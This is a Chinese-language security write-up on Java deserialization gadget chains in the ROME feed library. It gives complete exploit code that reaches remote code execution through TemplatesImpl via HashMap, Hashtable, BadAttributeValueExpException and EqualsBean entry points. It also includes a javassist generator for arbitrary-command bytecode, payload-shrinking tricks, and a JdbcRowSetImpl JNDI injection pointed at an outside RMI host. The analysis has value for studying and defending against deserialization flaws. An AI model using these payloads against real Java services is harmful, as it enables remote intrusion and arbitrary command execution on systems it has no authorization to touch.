Contents
0x01. Rome
ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。
Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作。
0x02. toString分析
链的关键点在于toString方法,我们来看一下该方法:

跟进这个重载方法:

大致操作是从_beanClass类中拿一些方法,然后去执行这些方法的无参重载方法,那么就需要去跟进一下getPropertyDescriptors
和getReadMethod
这两个方法;
很明显前者是去拿这个类的getter和setter方法的,因为反射执行方法还要满足无参的条件,setter
方法理论上已经被排除了

从注释中也能看出来:

而_beanClass
和_obj
都是该类的构造方法中能赋值:

思路很明显了,这里我们使用Xlan的TemplatesImpl
,主要调用它的getOutputProperties()
触发defineClass
,这里我们使用传入的恶意类字节码创建类,这样就会将恶意类字节码注册到JVM中,最终通过newInstance
创建实例,从而实现RCE,一个demo:
恶意字节码类:
注意这里一定要继承AbstractTranslet
,看到这里对恶意类的父类做了判断:


package com.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class ExpAbstractTranslet extends AbstractTranslet {
public ExpAbstractTranslet() throws Exception{
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
EXP:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.File;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class Rome_toString {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] classBytes = Files.readAllBytes(Paths.get("D:\\java_复现\\rome_gadget\\target\\classes\\com\\example\\ExpAbstractTranslet.class"));
TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_name","aaa");
setValue(templates, "_bytecodes", new byte[][]{classBytes});
setValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
toStringBean.toString();
}
}
动态再回顾一下:
进入toString后调用TemplatesImpl
的getOutputProperties
方法:

跟进后会调用getTransletInstance()
方法


继续跟进该方法,这里由于已经注册过,将会实例化该恶意字节码类,从而RCE:

这里存在一个小细节,选取Class的时候,也就是构造方法传入的时候,使用的是
Templates.Class
而非TemplatesImpl.Class
,因为前者只有一个getter
,而后者存在多个getter
,有可能无法调用到我们需要的getter——getOutputProperties()

0x03. 反序列化 Gadget分析
首先看一下yso给出的链子:
* TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
入口点是从HashMap的readObject处,我们知道这个类的readObject的最终结果是能够调用任意类的hashCode
这里只贴一下图,很好理解


经过一番搜索发现EqualBeans
中存在该方法:

跟进去看一眼:

很好的匹配前文的toString,再来看一下_obj
是否可控:

因此我们在构造方法中,将_obj
设置为ToStringBean
,之后调用ToStringBean的toString
方法就是前文的步骤了
给出demo的EXP:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Rome_Gadget {
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] classBytes = Files.readAllBytes(Paths.get("D:\\java_复现\\rome_gadget\\target\\classes\\com\\example\\ExpAbstractTranslet.class"));
TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_name", "aaa");
setValue(templates, "_bytecodes", new byte[][]{classBytes});
setValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(hashMap);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
}
}
0x04.其他利用链–ObjectBean
Rome链后续利用都是一样的,后半段较为固定,都是使用TemplatesImpl.getOutputProperties()
进行任意类加载,所以这里的其他利用链都是针对前半段入口处进行替换的。
前文搜索hashCode
方法的时候,发现ObjectBean
也存在该方法,跟进去看一眼:

发现_equalBeans
是可控的,并且直接是EqualsBean
的实例,因此等价于前者

因此可以将EqualsBean.hashCode()
替换为ObjectBean.hashcode()
,这里就不贴EXP了
0x05.其他利用链–HashTable
这里其实和Rome Gadget关系不大,只是作为HashMap入口处的替换,如果环境过滤了HashMap类,则可以利用HashTable的反序列化入口,这里也简单分析一下:
这里反序列化后传入reconstitutionPut

跟进一下:

贴一下demo:
public static void hashTable_Gadget() throws Exception{
byte[] classBytes = Files.readAllBytes(Paths.get("D:\\java_复现\\rome_gadget\\target\\classes\\com\\example\\ExpAbstractTranslet.class"));
TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_name", "aaa");
setValue(templates, "_bytecodes", new byte[][]{classBytes});
setValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
Hashtable<Object,Object> hashtable = new Hashtable<>();
hashtable.put(equalsBean,"123");
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
}
0x06.其他利用链–BadAttributeValueExpException
BadAttributeValueExpException
在CC链中使用到,这个类存在readObject
方法,能够达到的效果就是触发任意类的toString
方法

因此在这里也可以搭配ToStringBean
实现RCE,利用链也很清晰了:
* TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* BadAttributeValueExpException.readObject()
为了避免提前触发漏洞,我们可以利用反射修改val
的值为需要调用toString()
方法的类,当然也可以在BadAttributeValueExpException
构造方法中将toStringBean
传入
贴一下EXP:
public static void Badattributes_Gadget() throws Exception{
byte[] classBytes = Files.readAllBytes(Paths.get("D:\\java_复现\\rome_gadget\\target\\classes\\com\\example\\ExpAbstractTranslet.class"));
TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_name", "aaa");
setValue(templates, "_bytecodes", new byte[][]{classBytes});
setValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(11);
setValue(badAttributeValueExpException, "val", toStringBean);
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(badAttributeValueExpException);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
}
0X07.其他利用链–JdbcRowSetImpl
JdbcRowSetImpl
这个链主要也是利用了其getter方法,因此是针对后半段TemplatesImpl.getOutputProperties()
任意类加载进行替换的,主要的关键点是getDatabaseMetaData
:

跟进
connect()
方法,最终其调用了lookup()
,触发了JNDI接口调用:
而dataSource
是可控的:

因此可以触发JNDI注入,配合RMI或者LDAP进行攻击
由于JDNI注入中trustURLCodebase的限制,这里限制的攻击版本为
RMI:JDK 6u132、JDK 7u122、JDK 8u113之前
LDAP:JDK 7u201、8u191、6u211、JDK 11.0.1之前
一个简单的demo:
public static void JDBC_Gadget() throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://110.42.219.12:1099/zqunly");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
toStringBean.toString();
}
这里只是扩展一些利用方式,因此选择直接调用toString()
来触发,可以搭配之前的例如BadAttributeValueExpException
或者HashMap
等方式来进行Gadget的变换操作
0x08.精简Payload
这里其实是受到D3CTF的启发,当然参考的是Y4师傅的文章,我们先来看一下BadAttributeValueExpException Gadget
或者其他几个链子的b64长度,首先进行一个横向比较:

可以看到利用EqualsBean
利用链的长度是最短的,这里Hashmap和HashTable都是使用的EqualBeans
,而ObjectBeans
实际上是套了一层EqualBeans,因此长度肯定是大于直接使用后者的
下面我们需要对该Gadget进行精简操作
从TemplatesImpl精简
这里能够想到的是在构造TemplatesImpl
,这里实例化这个类涉及到三个部分,_name
这里可以设置长度为1,_tfactory
这里其实是可以不用设置的,我们来看TemplatesImpl
的readObject
方法:

这里在反序列化时会自动赋值,因此我们在序列化时不需要为TemplatesImpl._tfactory
赋值
再来测试一下长度:

少了一部分,但是这样显然还不够,接下来我们把目光放到_bytecodes
上,我们来看一下自实现的ExpAbstractTranslet
类,当然这里的类名能够缩短到长度为1,并且在这里我们继承的AbstractTranslet
父类,必须重写2个抽象方法,否则无法编译,但是这2个抽象方法在反序列化中并没有用到,因此这里使用javaassist来进行Patch,个人理解就是欺骗编译器使得即使没有重写也能通过编译,生成字节码文件
利用javaassit来解决这个问题:
package com.example;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import java.io.File;
import java.io.FileOutputStream;
public class GenerateBytesCode {
public static byte[] getTemplatesImpl(String cmd) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("A");
CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor ctConstructor = CtNewConstructor.make("public A(){Runtime.getRuntime().exec(\"" + cmd + "\");\n}", ctClass);
ctClass.addConstructor(ctConstructor);
byte[] bytecodes = ctClass.toBytecode();
ctClass.defrost();
return bytecodes;
}
public static void main(String[] args) throws Exception{
byte[] bytes = getTemplatesImpl("calc");
FileOutputStream fos = new FileOutputStream(new File("A.class"));
fos.write(bytes);
fos.flush();
fos.close();
}
}
这里我们只利用构造方法,因此只需要补充构造方法,其他的重写方法由于后续没有利用,因此我们可以抛弃,这里可以生成A.class
类作为我们的恶意字节码类,以利用注册到JVM虚拟机中
接下来我们再来看一下长度:

已经缩短了将近一半的长度,当然这里的HashMap的value也能设置为空,这里的话缩短的长度优先,但已经满足需求了